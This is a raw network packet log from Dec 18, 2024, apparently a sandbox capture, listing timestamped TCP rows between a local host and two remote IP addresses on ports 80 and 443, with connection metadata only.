Dec 18, 2024 21:30:47.078967094 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.079557896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.079575062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.079615116 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.080307007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.080323935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.080367088 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.080970049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.080986023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.081001043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.081016064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.081029892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.081054926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.081644058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.081674099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.081685066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.081749916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.082273006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.082298040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.082340002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.082969904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.082987070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.083017111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.083036900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.083645105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.083671093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.083708048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.084382057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.084398031 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.084413052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.084440947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.084454060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.085124016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.085140944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.085180998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.085721970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.085747957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.085794926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.086451054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.086467028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.086503029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.086513996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.087099075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.087115049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.087131023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.087143898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.087152958 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.087173939 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.087786913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.087801933 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.087846994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.088557005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.088572979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.088618040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.089184046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.089200020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.089236975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.089246988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.089824915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.089848995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.089868069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.089884043 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.090523958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.090539932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.090558052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.090564013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.090594053 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.090614080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.091223955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.091239929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.091286898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.091897011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.091919899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.091943979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.091957092 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.092606068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.092621088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.092658043 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.093257904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.093281984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.093296051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.093327045 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.093341112 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.094038010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.094053030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.094106913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.094657898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.094681978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.094700098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.094769001 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.095355988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.095370054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.095396042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.095412970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.096260071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.096286058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.096307039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.096323967 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.096853018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.096868038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.096883059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.096904993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.096934080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.097531080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.097547054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.097590923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.098155975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.098174095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.098217964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.098805904 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.098826885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.098849058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.098870993 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.099524021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.099540949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.099559069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.099570036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.099581003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.099601984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.100159883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.100212097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.259573936 CET	49825	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:47.259643078 CET	443	49825	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:47.259730101 CET	49825	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:47.260061979 CET	49825	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:47.260080099 CET	443	49825	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:47.260356903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.260404110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.260422945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.260428905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.260457039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.260457039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.260795116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.260842085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.261096001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.261111975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.261157990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.261707067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.261753082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.261919975 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.261934996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.261966944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.261982918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.262533903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.262550116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.262578011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.262592077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.263025045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.263041019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.263067007 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.263079882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.263704062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.263720989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.263850927 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.264250040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.264265060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.264307022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.265002966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.265018940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.265070915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.265690088 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.265707016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.265738964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.265753031 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.266318083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.266335011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.266372919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.266386986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.267014027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.267035961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.267055988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.267071009 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.267086029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.267107964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.267671108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.267697096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.267743111 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.267756939 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.268342972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.268368006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.268399954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.268410921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.269074917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.269090891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.269135952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.269150972 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.269748926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.269778013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.269797087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.269798040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.269817114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.269839048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.270421028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.270447016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.270499945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.270510912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.271157980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.271174908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.271213055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.271234035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.271892071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.271915913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.271944046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.271965027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.272586107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.272602081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.272645950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.272660971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.273263931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.273279905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.273294926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.273312092 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.273329973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.273874998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.273890972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.273925066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.273957014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.274533033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.274558067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.274579048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.274722099 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.275269985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.275285959 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.275326014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.275361061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.275974989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.275990963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.276005030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.276026964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.276042938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.276647091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.276663065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.276705980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.277319908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.277343035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.277381897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.277419090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.278026104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.278043032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.278080940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.278095961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.278700113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.278717041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.278758049 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.279428005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.279453993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.279472113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.279480934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.279505014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.279522896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.280154943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.280180931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.280216932 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.280237913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.280972958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.281003952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.281021118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.281044960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.281766891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.281784058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.281821012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.281832933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.282536983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.282555103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.282569885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.282584906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.282594919 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.282615900 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.283246994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.283265114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.283332109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.283811092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.283828020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.283865929 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.283895969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.284307003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.284323931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.284353971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.284363985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.284837961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.284864902 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.284883976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.284895897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.285599947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.285618067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.285634041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.285659075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.285676003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.286278963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.286297083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.286329031 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.286344051 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.286947012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.286964893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.286992073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.287008047 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.287587881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.287617922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.287633896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.287657022 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.288297892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.288314104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.288328886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.288357973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.288389921 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.288960934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.288986921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.289011002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.289022923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.289668083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.289685011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.289710999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.289729118 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.290369987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.290396929 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.290426016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.290446997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.291049957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.291064978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.291122913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.291160107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.291867018 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.291883945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.291898966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.291941881 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.291963100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.292437077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.292493105 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.452364922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.452436924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.452526093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.452574015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.452852011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.452868938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.452904940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.452919006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.453586102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.453602076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:47.453664064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:47.454376936 CET	80	49819	31.41.244.11	192.168.2.5
